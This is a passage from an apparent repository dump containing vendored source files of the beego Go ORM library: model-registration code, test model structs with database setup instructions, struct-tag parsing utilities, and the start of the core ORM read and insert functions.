{\n\t\t\tcontinue\n\t\t}\n\t\t// add anonymous struct fields\n\t\tif sf.Anonymous {\n\t\t\taddModelFields(mi, field, mName+\".\"+sf.Name, append(index, i))\n\t\t\tcontinue\n\t\t}\n\n\t\tfi, err = newFieldInfo(mi, field, sf, mName)\n\t\tif err == errSkipField {\n\t\t\terr = nil\n\t\t\tcontinue\n\t\t} else if err != nil {\n\t\t\tbreak\n\t\t}\n\t\t//record current field index\n\t\tfi.fieldIndex = append(index, i)\n\t\tfi.mi = mi\n\t\tfi.inModel = true\n\t\tif !mi.fields.Add(fi) {\n\t\t\terr = fmt.Errorf(\"duplicate column name: %s\", fi.column)\n\t\t\tbreak\n\t\t}\n\t\tif fi.pk {\n\t\t\tif mi.fields.pk != nil {\n\t\t\t\terr = fmt.Errorf(\"one model must have one pk field only\")\n\t\t\t\tbreak\n\t\t\t} else {\n\t\t\t\tmi.fields.pk = fi\n\t\t\t}\n\t\t}\n\t}\n\n\tif err != nil {\n\t\tfmt.Println(fmt.Errorf(\"field: %s.%s, %s\", ind.Type(), sf.Name, err))\n\t\tos.Exit(2)\n\t}\n}\n\n// combine related model info to new model info.\n// prepare for relation models query.\nfunc newM2MModelInfo(m1, m2 *modelInfo) (mi *modelInfo) {\n\tmi = new(modelInfo)\n\tmi.fields = newFields()\n\tmi.table = m1.table + \"_\" + m2.table + \"s\"\n\tmi.name = camelString(mi.table)\n\tmi.fullName = m1.pkg + \".\" + mi.name\n\n\tfa := new(fieldInfo) // pk\n\tf1 := new(fieldInfo) // m1 table RelForeignKey\n\tf2 := new(fieldInfo) // m2 table RelForeignKey\n\tfa.fieldType = TypeBigIntegerField\n\tfa.auto = true\n\tfa.pk = true\n\tfa.dbcol = true\n\tfa.name = \"Id\"\n\tfa.column = \"id\"\n\tfa.fullName = mi.fullName + \".\" + fa.name\n\n\tf1.dbcol = true\n\tf2.dbcol = true\n\tf1.fieldType = RelForeignKey\n\tf2.fieldType = RelForeignKey\n\tf1.name = camelString(m1.table)\n\tf2.name = camelString(m2.table)\n\tf1.fullName = mi.fullName + \".\" + f1.name\n\tf2.fullName = mi.fullName + \".\" + f2.name\n\tf1.column = m1.table + \"_id\"\n\tf2.column = m2.table + \"_id\"\n\tf1.rel = true\n\tf2.rel = true\n\tf1.relTable = m1.table\n\tf2.relTable = m2.table\n\tf1.relModelInfo = m1\n\tf2.relModelInfo = m2\n\tf1.mi = mi\n\tf2.mi = mi\n\n\tmi.fields.Add(fa)\n\tmi.fields.Add(f1)\n\tmi.fields.Add(f2)\n\tmi.fields.pk = fa\n\n\tmi.uniques = []string{f1.column, f2.column}\n\treturn\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/models_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"database/sql\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"time\"\n\n\t_ \"github.com/go-sql-driver/mysql\"\n\t_ \"github.com/lib/pq\"\n\t_ \"github.com/mattn/go-sqlite3\"\n\t// As tidb can't use go get, so disable the tidb testing now\n\t// _ \"github.com/pingcap/tidb\"\n)\n\n// A slice string field.\ntype SliceStringField []string\n\nfunc (e SliceStringField) Value() []string {\n\treturn []string(e)\n}\n\nfunc (e *SliceStringField) Set(d []string) {\n\t*e = SliceStringField(d)\n}\n\nfunc (e *SliceStringField) Add(v string) {\n\t*e = append(*e, v)\n}\n\nfunc (e *SliceStringField) String() string {\n\treturn strings.Join(e.Value(), \",\")\n}\n\nfunc (e *SliceStringField) FieldType() int {\n\treturn TypeVarCharField\n}\n\nfunc (e *SliceStringField) SetRaw(value interface{}) error {\n\tswitch d := value.(type) {\n\tcase []string:\n\t\te.Set(d)\n\tcase string:\n\t\tif len(d) > 0 {\n\t\t\tparts := strings.Split(d, \",\")\n\t\t\tv := make([]string, 0, len(parts))\n\t\t\tfor _, p := range parts {\n\t\t\t\tv = append(v, strings.TrimSpace(p))\n\t\t\t}\n\t\t\te.Set(v)\n\t\t}\n\tdefault:\n\t\treturn fmt.Errorf(\"<SliceStringField.SetRaw> unknown value `%v`\", value)\n\t}\n\treturn nil\n}\n\nfunc (e *SliceStringField) RawValue() interface{} {\n\treturn e.String()\n}\n\nvar _ Fielder = new(SliceStringField)\n\n// A json field.\ntype JSONFieldTest struct {\n\tName string\n\tData string\n}\n\nfunc (e *JSONFieldTest) String() string {\n\tdata, _ := json.Marshal(e)\n\treturn string(data)\n}\n\nfunc (e *JSONFieldTest) FieldType() int {\n\treturn TypeTextField\n}\n\nfunc (e *JSONFieldTest) SetRaw(value interface{}) error {\n\tswitch d := value.(type) {\n\tcase string:\n\t\treturn json.Unmarshal([]byte(d), e)\n\tdefault:\n\t\treturn fmt.Errorf(\"<JSONField.SetRaw> unknown value `%v`\", value)\n\t}\n}\n\nfunc (e *JSONFieldTest) RawValue() interface{} {\n\treturn e.String()\n}\n\nvar _ Fielder = new(JSONFieldTest)\n\ntype Data struct {\n\tID       int `orm:\"column(id)\"`\n\tBoolean  bool\n\tChar     string    `orm:\"size(50)\"`\n\tText     string    `orm:\"type(text)\"`\n\tJSON     string    `orm:\"type(json);default({\\\"name\\\":\\\"json\\\"})\"`\n\tJsonb    string    `orm:\"type(jsonb)\"`\n\tTime     time.Time `orm:\"type(time)\"`\n\tDate     time.Time `orm:\"type(date)\"`\n\tDateTime time.Time `orm:\"column(datetime)\"`\n\tByte     byte\n\tRune     rune\n\tInt      int\n\tInt8     int8\n\tInt16    int16\n\tInt32    int32\n\tInt64    int64\n\tUint     uint\n\tUint8    uint8\n\tUint16   uint16\n\tUint32   uint32\n\tUint64   uint64\n\tFloat32  float32\n\tFloat64  float64\n\tDecimal  float64 `orm:\"digits(8);decimals(4)\"`\n}\n\ntype DataNull struct {\n\tID          int             `orm:\"column(id)\"`\n\tBoolean     bool            `orm:\"null\"`\n\tChar        string          `orm:\"null;size(50)\"`\n\tText        string          `orm:\"null;type(text)\"`\n\tJSON        string          `orm:\"type(json);null\"`\n\tJsonb       string          `orm:\"type(jsonb);null\"`\n\tTime        time.Time       `orm:\"null;type(time)\"`\n\tDate        time.Time       `orm:\"null;type(date)\"`\n\tDateTime    time.Time       `orm:\"null;column(datetime)\"`\n\tByte        byte            `orm:\"null\"`\n\tRune        rune            `orm:\"null\"`\n\tInt         int             `orm:\"null\"`\n\tInt8        int8            `orm:\"null\"`\n\tInt16       int16           `orm:\"null\"`\n\tInt32       int32           `orm:\"null\"`\n\tInt64       int64           `orm:\"null\"`\n\tUint        uint            `orm:\"null\"`\n\tUint8       uint8           `orm:\"null\"`\n\tUint16      uint16          `orm:\"null\"`\n\tUint32      uint32          `orm:\"null\"`\n\tUint64      uint64          `orm:\"null\"`\n\tFloat32     float32         `orm:\"null\"`\n\tFloat64     float64         `orm:\"null\"`\n\tDecimal     float64         `orm:\"digits(8);decimals(4);null\"`\n\tNullString  sql.NullString  `orm:\"null\"`\n\tNullBool    sql.NullBool    `orm:\"null\"`\n\tNullFloat64 sql.NullFloat64 `orm:\"null\"`\n\tNullInt64   sql.NullInt64   `orm:\"null\"`\n\tBooleanPtr  *bool           `orm:\"null\"`\n\tCharPtr     *string         `orm:\"null;size(50)\"`\n\tTextPtr     *string         `orm:\"null;type(text)\"`\n\tBytePtr     *byte           `orm:\"null\"`\n\tRunePtr     *rune           `orm:\"null\"`\n\tIntPtr      *int            `orm:\"null\"`\n\tInt8Ptr     *int8           `orm:\"null\"`\n\tInt16Ptr    *int16          `orm:\"null\"`\n\tInt32Ptr    *int32          `orm:\"null\"`\n\tInt64Ptr    *int64          `orm:\"null\"`\n\tUintPtr     *uint           `orm:\"null\"`\n\tUint8Ptr    *uint8          `orm:\"null\"`\n\tUint16Ptr   *uint16         `orm:\"null\"`\n\tUint32Ptr   *uint32         `orm:\"null\"`\n\tUint64Ptr   *uint64         `orm:\"null\"`\n\tFloat32Ptr  *float32        `orm:\"null\"`\n\tFloat64Ptr  *float64        `orm:\"null\"`\n\tDecimalPtr  *float64        `orm:\"digits(8);decimals(4);null\"`\n\tTimePtr     *time.Time      `orm:\"null;type(time)\"`\n\tDatePtr     *time.Time      `orm:\"null;type(date)\"`\n\tDateTimePtr *time.Time      `orm:\"null\"`\n}\n\ntype String string\ntype Boolean bool\ntype Byte byte\ntype Rune rune\ntype Int int\ntype Int8 int8\ntype Int16 int16\ntype Int32 int32\ntype Int64 int64\ntype Uint uint\ntype Uint8 uint8\ntype Uint16 uint16\ntype Uint32 uint32\ntype Uint64 uint64\ntype Float32 float64\ntype Float64 float64\n\ntype DataCustom struct {\n\tID      int `orm:\"column(id)\"`\n\tBoolean Boolean\n\tChar    string `orm:\"size(50)\"`\n\tText    string `orm:\"type(text)\"`\n\tByte    Byte\n\tRune    Rune\n\tInt     Int\n\tInt8    Int8\n\tInt16   Int16\n\tInt32   Int32\n\tInt64   Int64\n\tUint    Uint\n\tUint8   Uint8\n\tUint16  Uint16\n\tUint32  Uint32\n\tUint64  Uint64\n\tFloat32 Float32\n\tFloat64 Float64\n\tDecimal Float64 `orm:\"digits(8);decimals(4)\"`\n}\n\n// only for mysql\ntype UserBig struct {\n\tID   uint64 `orm:\"column(id)\"`\n\tName string\n}\n\ntype User struct {\n\tID           int    `orm:\"column(id)\"`\n\tUserName     string `orm:\"size(30);unique\"`\n\tEmail        string `orm:\"size(100)\"`\n\tPassword     string `orm:\"size(100)\"`\n\tStatus       int16  `orm:\"column(Status)\"`\n\tIsStaff      bool\n\tIsActive     bool      `orm:\"default(true)\"`\n\tCreated      time.Time `orm:\"auto_now_add;type(date)\"`\n\tUpdated      time.Time `orm:\"auto_now\"`\n\tProfile      *Profile  `orm:\"null;rel(one);on_delete(set_null)\"`\n\tPosts        []*Post   `orm:\"reverse(many)\" json:\"-\"`\n\tShouldSkip   string    `orm:\"-\"`\n\tNums         int\n\tLangs        SliceStringField `orm:\"size(100)\"`\n\tExtra        JSONFieldTest    `orm:\"type(text)\"`\n\tunexport     bool             `orm:\"-\"`\n\tunexportBool bool\n}\n\nfunc (u *User) TableIndex() [][]string {\n\treturn [][]string{\n\t\t{\"Id\", \"UserName\"},\n\t\t{\"Id\", \"Created\"},\n\t}\n}\n\nfunc (u *User) TableUnique() [][]string {\n\treturn [][]string{\n\t\t{\"UserName\", \"Email\"},\n\t}\n}\n\nfunc NewUser() *User {\n\tobj := new(User)\n\treturn obj\n}\n\ntype Profile struct {\n\tID       int `orm:\"column(id)\"`\n\tAge      int16\n\tMoney    float64\n\tUser     *User `orm:\"reverse(one)\" json:\"-\"`\n\tBestPost *Post `orm:\"rel(one);null\"`\n}\n\nfunc (u *Profile) TableName() string {\n\treturn \"user_profile\"\n}\n\nfunc NewProfile() *Profile {\n\tobj := new(Profile)\n\treturn obj\n}\n\ntype Post struct {\n\tID      int       `orm:\"column(id)\"`\n\tUser    *User     `orm:\"rel(fk)\"`\n\tTitle   string    `orm:\"size(60)\"`\n\tContent string    `orm:\"type(text)\"`\n\tCreated time.Time `orm:\"auto_now_add\"`\n\tUpdated time.Time `orm:\"auto_now\"`\n\tTags    []*Tag    `orm:\"rel(m2m);rel_through(github.com/astaxie/beego/orm.PostTags)\"`\n}\n\nfunc (u *Post) TableIndex() [][]string {\n\treturn [][]string{\n\t\t{\"Id\", \"Created\"},\n\t}\n}\n\nfunc NewPost() *Post {\n\tobj := new(Post)\n\treturn obj\n}\n\ntype Tag struct {\n\tID       int     `orm:\"column(id)\"`\n\tName     string  `orm:\"size(30)\"`\n\tBestPost *Post   `orm:\"rel(one);null\"`\n\tPosts    []*Post `orm:\"reverse(many)\" json:\"-\"`\n}\n\nfunc NewTag() *Tag {\n\tobj := new(Tag)\n\treturn obj\n}\n\ntype PostTags struct {\n\tID   int   `orm:\"column(id)\"`\n\tPost *Post `orm:\"rel(fk)\"`\n\tTag  *Tag  `orm:\"rel(fk)\"`\n}\n\nfunc (m *PostTags) TableName() string {\n\treturn \"prefix_post_tags\"\n}\n\ntype Comment struct {\n\tID      int       `orm:\"column(id)\"`\n\tPost    *Post     `orm:\"rel(fk);column(post)\"`\n\tContent string    `orm:\"type(text)\"`\n\tParent  *Comment  `orm:\"null;rel(fk)\"`\n\tCreated time.Time `orm:\"auto_now_add\"`\n}\n\nfunc NewComment() *Comment {\n\tobj := new(Comment)\n\treturn obj\n}\n\ntype Group struct {\n\tID          int `orm:\"column(gid);size(32)\"`\n\tName        string\n\tPermissions []*Permission `orm:\"reverse(many)\" json:\"-\"`\n}\n\ntype Permission struct {\n\tID     int `orm:\"column(id)\"`\n\tName   string\n\tGroups []*Group `orm:\"rel(m2m);rel_through(github.com/astaxie/beego/orm.GroupPermissions)\"`\n}\n\ntype GroupPermissions struct {\n\tID         int         `orm:\"column(id)\"`\n\tGroup      *Group      `orm:\"rel(fk)\"`\n\tPermission *Permission `orm:\"rel(fk)\"`\n}\n\ntype ModelID struct {\n\tID int64\n}\n\ntype ModelBase struct {\n\tModelID\n\n\tCreated time.Time `orm:\"auto_now_add;type(datetime)\"`\n\tUpdated time.Time `orm:\"auto_now;type(datetime)\"`\n}\n\ntype InLine struct {\n\t// Common Fields\n\tModelBase\n\n\t// Other Fields\n\tName  string `orm:\"unique\"`\n\tEmail string\n}\n\nfunc NewInLine() *InLine {\n\treturn new(InLine)\n}\n\ntype InLineOneToOne struct {\n\t// Common Fields\n\tModelBase\n\n\tNote   string\n\tInLine *InLine `orm:\"rel(fk);column(inline)\"`\n}\n\nfunc NewInLineOneToOne() *InLineOneToOne {\n\treturn new(InLineOneToOne)\n}\n\ntype IntegerPk struct {\n\tID    int64 `orm:\"pk\"`\n\tValue string\n}\n\ntype UintPk struct {\n\tID   uint32 `orm:\"pk\"`\n\tName string\n}\n\ntype PtrPk struct {\n\tID       *IntegerPk `orm:\"pk;rel(one)\"`\n\tPositive bool\n}\n\nvar DBARGS = struct {\n\tDriver string\n\tSource string\n\tDebug  string\n}{\n\tos.Getenv(\"ORM_DRIVER\"),\n\tos.Getenv(\"ORM_SOURCE\"),\n\tos.Getenv(\"ORM_DEBUG\"),\n}\n\nvar (\n\tIsMysql    = DBARGS.Driver == \"mysql\"\n\tIsSqlite   = DBARGS.Driver == \"sqlite3\"\n\tIsPostgres = DBARGS.Driver == \"postgres\"\n\tIsTidb     = DBARGS.Driver == \"tidb\"\n)\n\nvar (\n\tdORM     Ormer\n\tdDbBaser dbBaser\n)\n\nfunc init() {\n\tDebug, _ = StrTo(DBARGS.Debug).Bool()\n\n\tif DBARGS.Driver == \"\" || DBARGS.Source == \"\" {\n\t\tfmt.Println(`need driver and source!\n\nDefault DB Drivers.\n\n  driver: url\n   mysql: https://github.com/go-sql-driver/mysql\n sqlite3: https://github.com/mattn/go-sqlite3\npostgres: https://github.com/lib/pq\ntidb: https://github.com/pingcap/tidb\n\nusage:\n\ngo get -u github.com/astaxie/beego/orm\ngo get -u github.com/go-sql-driver/mysql\ngo get -u github.com/mattn/go-sqlite3\ngo get -u github.com/lib/pq\ngo get -u github.com/pingcap/tidb\n\n#### MySQL\nmysql -u root -e 'create database orm_test;'\nexport ORM_DRIVER=mysql\nexport ORM_SOURCE=\"root:@/orm_test?charset=utf8\"\ngo test -v github.com/astaxie/beego/orm\n\n\n#### Sqlite3\nexport ORM_DRIVER=sqlite3\nexport ORM_SOURCE='file:memory_test?mode=memory'\ngo test -v github.com/astaxie/beego/orm\n\n\n#### PostgreSQL\npsql -c 'create database orm_test;' -U postgres\nexport ORM_DRIVER=postgres\nexport ORM_SOURCE=\"user=postgres dbname=orm_test sslmode=disable\"\ngo test -v github.com/astaxie/beego/orm\n\n#### TiDB\nexport ORM_DRIVER=tidb\nexport ORM_SOURCE='memory://test/test'\ngo test -v github.com/astaxie/beego/orm\n\n`)\n\t\tos.Exit(2)\n\t}\n\n\tRegisterDataBase(\"default\", DBARGS.Driver, DBARGS.Source, 20)\n\n\talias := getDbAlias(\"default\")\n\tif alias.Driver == DRMySQL {\n\t\talias.Engine = \"INNODB\"\n\t}\n\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/models_utils.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"reflect\"\n\t\"strings\"\n\t\"time\"\n)\n\n// 1 is attr\n// 2 is tag\nvar supportTag = map[string]int{\n\t\"-\":            1,\n\t\"null\":         1,\n\t\"index\":        1,\n\t\"unique\":       1,\n\t\"pk\":           1,\n\t\"auto\":         1,\n\t\"auto_now\":     1,\n\t\"auto_now_add\": 1,\n\t\"size\":         2,\n\t\"column\":       2,\n\t\"default\":      2,\n\t\"rel\":          2,\n\t\"reverse\":      2,\n\t\"rel_table\":    2,\n\t\"rel_through\":  2,\n\t\"digits\":       2,\n\t\"decimals\":     2,\n\t\"on_delete\":    2,\n\t\"type\":         2,\n}\n\n// get reflect.Type name with package path.\nfunc getFullName(typ reflect.Type) string {\n\treturn typ.PkgPath() + \".\" + typ.Name()\n}\n\n// getTableName get struct table name.\n// If the struct implement the TableName, then get the result as tablename\n// else use the struct name which will apply snakeString.\nfunc getTableName(val reflect.Value) string {\n\tif fun := val.MethodByName(\"TableName\"); fun.IsValid() {\n\t\tvals := fun.Call([]reflect.Value{})\n\t\t// has return and the first val is string\n\t\tif len(vals) > 0 && vals[0].Kind() == reflect.String {\n\t\t\treturn vals[0].String()\n\t\t}\n\t}\n\treturn snakeString(reflect.Indirect(val).Type().Name())\n}\n\n// get table engine, mysiam or innodb.\nfunc getTableEngine(val reflect.Value) string {\n\tfun := val.MethodByName(\"TableEngine\")\n\tif fun.IsValid() {\n\t\tvals := fun.Call([]reflect.Value{})\n\t\tif len(vals) > 0 && vals[0].Kind() == reflect.String {\n\t\t\treturn vals[0].String()\n\t\t}\n\t}\n\treturn \"\"\n}\n\n// get table index from method.\nfunc getTableIndex(val reflect.Value) [][]string {\n\tfun := val.MethodByName(\"TableIndex\")\n\tif fun.IsValid() {\n\t\tvals := fun.Call([]reflect.Value{})\n\t\tif len(vals) > 0 && vals[0].CanInterface() {\n\t\t\tif d, ok := vals[0].Interface().([][]string); ok {\n\t\t\t\treturn d\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\n// get table unique from method\nfunc getTableUnique(val reflect.Value) [][]string {\n\tfun := val.MethodByName(\"TableUnique\")\n\tif fun.IsValid() {\n\t\tvals := fun.Call([]reflect.Value{})\n\t\tif len(vals) > 0 && vals[0].CanInterface() {\n\t\t\tif d, ok := vals[0].Interface().([][]string); ok {\n\t\t\t\treturn d\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\n// get snaked column name\nfunc getColumnName(ft int, addrField reflect.Value, sf reflect.StructField, col string) string {\n\tcolumn := col\n\tif col == \"\" {\n\t\tcolumn = snakeString(sf.Name)\n\t}\n\tswitch ft {\n\tcase RelForeignKey, RelOneToOne:\n\t\tif len(col) == 0 {\n\t\t\tcolumn = column + \"_id\"\n\t\t}\n\tcase RelManyToMany, RelReverseMany, RelReverseOne:\n\t\tcolumn = sf.Name\n\t}\n\treturn column\n}\n\n// return field type as type constant from reflect.Value\nfunc getFieldType(val reflect.Value) (ft int, err error) {\n\tswitch val.Type() {\n\tcase reflect.TypeOf(new(int8)):\n\t\tft = TypeBitField\n\tcase reflect.TypeOf(new(int16)):\n\t\tft = TypeSmallIntegerField\n\tcase reflect.TypeOf(new(int32)),\n\t\treflect.TypeOf(new(int)):\n\t\tft = TypeIntegerField\n\tcase reflect.TypeOf(new(int64)):\n\t\tft = TypeBigIntegerField\n\tcase reflect.TypeOf(new(uint8)):\n\t\tft = TypePositiveBitField\n\tcase reflect.TypeOf(new(uint16)):\n\t\tft = TypePositiveSmallIntegerField\n\tcase reflect.TypeOf(new(uint32)),\n\t\treflect.TypeOf(new(uint)):\n\t\tft = TypePositiveIntegerField\n\tcase reflect.TypeOf(new(uint64)):\n\t\tft = TypePositiveBigIntegerField\n\tcase reflect.TypeOf(new(float32)),\n\t\treflect.TypeOf(new(float64)):\n\t\tft = TypeFloatField\n\tcase reflect.TypeOf(new(bool)):\n\t\tft = TypeBooleanField\n\tcase reflect.TypeOf(new(string)):\n\t\tft = TypeVarCharField\n\tcase reflect.TypeOf(new(time.Time)):\n\t\tft = TypeDateTimeField\n\tdefault:\n\t\telm := reflect.Indirect(val)\n\t\tswitch elm.Kind() {\n\t\tcase reflect.Int8:\n\t\t\tft = TypeBitField\n\t\tcase reflect.Int16:\n\t\t\tft = TypeSmallIntegerField\n\t\tcase reflect.Int32, reflect.Int:\n\t\t\tft = TypeIntegerField\n\t\tcase reflect.Int64:\n\t\t\tft = TypeBigIntegerField\n\t\tcase reflect.Uint8:\n\t\t\tft = TypePositiveBitField\n\t\tcase reflect.Uint16:\n\t\t\tft = TypePositiveSmallIntegerField\n\t\tcase reflect.Uint32, reflect.Uint:\n\t\t\tft = TypePositiveIntegerField\n\t\tcase reflect.Uint64:\n\t\t\tft = TypePositiveBigIntegerField\n\t\tcase reflect.Float32, reflect.Float64:\n\t\t\tft = TypeFloatField\n\t\tcase reflect.Bool:\n\t\t\tft = TypeBooleanField\n\t\tcase reflect.String:\n\t\t\tft = TypeVarCharField\n\t\tdefault:\n\t\t\tif elm.Interface() == nil {\n\t\t\t\tpanic(fmt.Errorf(\"%s is nil pointer, may be miss setting tag\", val))\n\t\t\t}\n\t\t\tswitch elm.Interface().(type) {\n\t\t\tcase sql.NullInt64:\n\t\t\t\tft = TypeBigIntegerField\n\t\t\tcase sql.NullFloat64:\n\t\t\t\tft = TypeFloatField\n\t\t\tcase sql.NullBool:\n\t\t\t\tft = TypeBooleanField\n\t\t\tcase sql.NullString:\n\t\t\t\tft = TypeVarCharField\n\t\t\tcase time.Time:\n\t\t\t\tft = TypeDateTimeField\n\t\t\t}\n\t\t}\n\t}\n\tif ft&IsFieldType == 0 {\n\t\terr = fmt.Errorf(\"unsupport field type %s, may be miss setting tag\", val)\n\t}\n\treturn\n}\n\n// parse struct tag string\nfunc parseStructTag(data string) (attrs map[string]bool, tags map[string]string) {\n\tattrs = make(map[string]bool)\n\ttags = make(map[string]string)\n\tfor _, v := range strings.Split(data, defaultStructTagDelim) {\n\t\tif v == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tv = strings.TrimSpace(v)\n\t\tif t := strings.ToLower(v); supportTag[t] == 1 {\n\t\t\tattrs[t] = true\n\t\t} else if i := strings.Index(v, \"(\"); i > 0 && strings.Index(v, \")\") == len(v)-1 {\n\t\t\tname := t[:i]\n\t\t\tif supportTag[name] == 2 {\n\t\t\t\tv = v[i+1 : len(v)-1]\n\t\t\t\ttags[name] = v\n\t\t\t}\n\t\t} else {\n\t\t\tDebugLog.Println(\"unsupport orm tag\", v)\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/orm.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package orm provide ORM for MySQL/PostgreSQL/sqlite\n// Simple Usage\n//\n//\tpackage main\n//\n//\timport (\n//\t\t\"fmt\"\n//\t\t\"github.com/astaxie/beego/orm\"\n//\t\t_ \"github.com/go-sql-driver/mysql\" // import your used driver\n//\t)\n//\n//\t// Model Struct\n//\ttype User struct {\n//\t\tId   int    `orm:\"auto\"`\n//\t\tName string `orm:\"size(100)\"`\n//\t}\n//\n//\tfunc init() {\n//\t\torm.RegisterDataBase(\"default\", \"mysql\", \"root:root@/my_db?charset=utf8\", 30)\n//\t}\n//\n//\tfunc main() {\n//\t\to := orm.NewOrm()\n//\t\tuser := User{Name: \"slene\"}\n//\t\t// insert\n//\t\tid, err := o.Insert(&user)\n//\t\t// update\n//\t\tuser.Name = \"astaxie\"\n//\t\tnum, err := o.Update(&user)\n//\t\t// read one\n//\t\tu := User{Id: user.Id}\n//\t\terr = o.Read(&u)\n//\t\t// delete\n//\t\tnum, err = o.Delete(&u)\n//\t}\n//\n// more docs: http://beego.me/docs/mvc/model/overview.md\npackage orm\n\nimport (\n\t\"database/sql\"\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"reflect\"\n\t\"time\"\n)\n\n// DebugQueries define the debug\nconst (\n\tDebugQueries = iota\n)\n\n// Define common vars\nvar (\n\tDebug            = false\n\tDebugLog         = NewLog(os.Stdout)\n\tDefaultRowsLimit = 1000\n\tDefaultRelsDepth = 2\n\tDefaultTimeLoc   = time.Local\n\tErrTxHasBegan    = errors.New(\"<Ormer.Begin> transaction already begin\")\n\tErrTxDone        = errors.New(\"<Ormer.Commit/Rollback> transaction not begin\")\n\tErrMultiRows     = errors.New(\"<QuerySeter> return multi rows\")\n\tErrNoRows        = errors.New(\"<QuerySeter> no row found\")\n\tErrStmtClosed    = errors.New(\"<QuerySeter> stmt already closed\")\n\tErrArgs          = errors.New(\"<Ormer> args error may be empty\")\n\tErrNotImplement  = errors.New(\"have not implement\")\n)\n\n// Params stores the Params\ntype Params map[string]interface{}\n\n// ParamsList stores paramslist\ntype ParamsList []interface{}\n\ntype orm struct {\n\talias *alias\n\tdb    dbQuerier\n\tisTx  bool\n}\n\nvar _ Ormer = new(orm)\n\n// get model info and model reflect value\nfunc (o *orm) getMiInd(md interface{}, needPtr bool) (mi *modelInfo, ind reflect.Value) {\n\tval := reflect.ValueOf(md)\n\tind = reflect.Indirect(val)\n\ttyp := ind.Type()\n\tif needPtr && val.Kind() != reflect.Ptr {\n\t\tpanic(fmt.Errorf(\"<Ormer> cannot use non-ptr model struct `%s`\", getFullName(typ)))\n\t}\n\tname := getFullName(typ)\n\tif mi, ok := modelCache.getByFullName(name); ok {\n\t\treturn mi, ind\n\t}\n\tpanic(fmt.Errorf(\"<Ormer> table: `%s` not found, make sure it was registered with `RegisterModel()`\", name))\n}\n\n// get field info from model info by given field name\nfunc (o *orm) getFieldInfo(mi *modelInfo, name string) *fieldInfo {\n\tfi, ok := mi.fields.GetByAny(name)\n\tif !ok {\n\t\tpanic(fmt.Errorf(\"<Ormer> cannot find field `%s` for model `%s`\", name, mi.fullName))\n\t}\n\treturn fi\n}\n\n// read data to model\nfunc (o *orm) Read(md interface{}, cols ...string) error {\n\tmi, ind := o.getMiInd(md, true)\n\treturn o.alias.DbBaser.Read(o.db, mi, ind, o.alias.TZ, cols, false)\n}\n\n// read data to model, like Read(), but use \"SELECT FOR UPDATE\" form\nfunc (o *orm) ReadForUpdate(md interface{}, cols ...string) error {\n\tmi, ind := o.getMiInd(md, true)\n\treturn o.alias.DbBaser.Read(o.db, mi, ind, o.alias.TZ, cols, true)\n}\n\n// Try to read a row from the database, or insert one if it doesn't exist\nfunc (o *orm) ReadOrCreate(md interface{}, col1 string, cols ...string) (bool, int64, error) {\n\tcols = append([]string{col1}, cols...)\n\tmi, ind := o.getMiInd(md, true)\n\terr := o.alias.DbBaser.Read(o.db, mi, ind, o.alias.TZ, cols, false)\n\tif err == ErrNoRows {\n\t\t// Create\n\t\tid, err := o.Insert(md)\n\t\treturn (err == nil), id, err\n\t}\n\n\tid, vid := int64(0), ind.FieldByIndex(mi.fields.pk.fieldIndex)\n\tif mi.fields.pk.fieldType&IsPositiveIntegerField > 0 {\n\t\tid = int64(vid.Uint())\n\t} else if mi.fields.pk.rel {\n\t\treturn o.ReadOrCreate(vid.Interface(), mi.fields.pk.relModelInfo.fields.pk.name)\n\t} else {\n\t\tid = vid.Int()\n\t}\n\n\treturn false, id, err\n}\n\n// insert model data to database\nfunc (o *orm) Insert(md interface{}) (int64, error) {\n\tmi, ind := o.getMiInd(md, true)\n\tid, err := o.alias.DbBaser.Insert(o.db, mi, ind, o.alias.TZ)\n\tif err != nil {\n\t\treturn id, err\n\t}\n\n\to.setPk(mi, ind, id)\n\n\treturn id, nil\n}\n\n// set auto pk field\nfunc (o *orm) setPk(mi *modelInfo, ind reflect.Value, id int64) {\n\tif mi.fields.pk.auto {\n\t\tif mi.fields.pk.fieldType&IsPositiveIntegerField > 0 {\n\t\t\tind.FieldByIndex(mi.fields.pk.fieldIndex).SetUint(uint64(id))\n\t\t} else {\n\t\t\tind.FieldByIndex(mi.fields.pk.fieldIndex).SetInt(id)\n\t\t}\n\t}\n}\n\n// insert some models to database\nfunc (o *orm) InsertMulti(bulk int, mds interface{}) (int64, error) {\n\tvar cnt int64\n\n\tsind := 